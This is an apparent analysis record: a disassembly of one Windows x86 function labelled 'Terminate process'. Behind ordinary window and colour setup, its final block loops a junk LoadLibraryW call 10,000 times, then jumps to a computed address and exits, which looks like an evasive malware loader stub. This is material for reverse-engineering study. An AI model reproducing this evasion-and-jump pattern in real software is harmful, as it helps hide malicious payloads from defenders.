Function at 0x418650
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [0x560a58], edi
call dword [sym.imp.KERNEL32.dll_GetVersion]
movzx eax, ax
movzx ecx, al
shl cx, 8
shr ax, 8
or cx, ax
push 0x8001
mov word [0x561b78], cx
call dword [sym.imp.KERNEL32.dll_SetErrorMode]
mov cl, 1
call fcn.00401e10
mov esi, dword [sym.imp.USER32.dll_GetSysColor]
xor eax, eax
push 8
mov word [0x561fa4], ax
mov word [0x5621ac], ax
mov word [0x5623b4], ax
mov word [0x5625bc], ax
mov word [0x5627c4], ax
mov word [0x562bc4], ax
mov word [0x562dcc], ax
mov word [0x562fd4], ax
mov word [0x5631dc], ax
mov word [0x561d4c], ax
mov dword [0x561cf0], 0x800000
mov dword [0x561d10], 0xe2ffff
call esi
push 5
mov dword [0x561cf4], eax
call esi
push 0x17
mov dword [0x561d14], eax
call esi
push 0x18
mov dword [0x561cf8], eax
call esi
push 0xe
mov dword [0x561d18], eax
call esi
push 0xd
mov dword [0x561cfc], eax
call esi
push 2
mov dword [0x561d1c], eax
call esi
push 1
mov dword [0x561d00], eax
call esi
push 0xf
mov dword [0x561d20], eax
call esi
push 0xf
mov dword [0x561d04], eax
call esi
push 0xf
mov dword [0x561d24], eax
call esi
push 0xf
mov dword [0x561d08], eax
call esi
push 0xf
mov dword [0x561d28], eax
call esi
push 0xf
mov dword [0x561d0c], eax
call esi
movaps xmm0, xmmword [0x48e770]
mov dword [0x561d2c], eax
movups xmmword [0x561d30], xmm0
call fcn.0041f4e0
call fcn.00404450
call fcn.00404740
call fcn.00404070
call fcn.004049f0
call fcn.00420030
test eax, eax
jne 0x41893c
push eax
call dword [sym.imp.ole32.dll_OleInitialize]
lea eax, [ebp - 0x10]
mov dword [ebp - 0xc], 0
push eax
mov dword [ebp - 0x10], 8
mov dword [ebp - 0xc], 0x66ff
call dword [sym.imp.COMCTL32.dll_InitCommonControlsEx]
push str.TaskbarCreated
call dword [sym.imp.USER32.dll_RegisterWindowMessageW]
mov dword [0x561290], eax
call fcn.00404b90
mov cl, byte [0x56149d]
call fcn.00401e10
cmp byte [0x56149d], 0
je 0x4187fb
call fcn.004019e0
test al, al
je 0x4187fb
mov eax, 1
jmp 0x4187fd
xor eax, eax
test eax, eax
je 0x418808
mov eax, 0x1f1f1f
jmp 0x41880c
push 5
call esi
mov ebx, dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
call ebx
cmp byte [0x56149d], 0
mov dword [0x561280], eax
je 0x418833
call fcn.004019e0
test al, al
je 0x418833
mov eax, 1
jmp 0x418835
xor eax, eax
test eax, eax
je 0x418840
mov eax, 0x333333
jmp 0x418844
push 0xf
call esi
push eax
call ebx
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0xb
mov dword [0x561294], eax
call esi
push 0xc
mov ebx, eax
call esi
push 0x31
mov dword [ebp + 8], eax
call esi
push 0x32
mov dword [ebp - 8], eax
call esi
cmp dword [0x560e68], 0
mov ecx, eax
mov esi, dword [sym.imp.COMCTL32.dll_Ordinal_381]
mov dword [ebp - 4], ecx
jne 0x41888f
push 0x560e68
push dword [ebp + 8]
push ebx
push 0x64
push edi
call esi
mov ecx, dword [ebp - 4]
mov eax, dword [0x560840]
test eax, eax
jne 0x4188ab
push 0x560840
push ecx
push dword [ebp - 8]
push 0x64
push edi
call esi
mov eax, dword [0x560840]
push 0x7f00
push edi
mov dword [ebp - 0x38], 0x2000
mov dword [ebp - 0x34], 0x419100
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], eax
call dword [sym.imp.USER32.dll_LoadCursorW]
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 0x1c], 0x10
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0x48df98
call dword [sym.imp.USER32.dll_RegisterClassW]
test ax, ax
je 0x41893c
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, 0x2710
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalAlloc]
push str.erherthgrgherhre.erhgerg
call edi
push eax
push 0
call ebx
sub esi, 1
jne 0x418911
lea esi, [0x4d4919]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add esi, eax
call esi
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10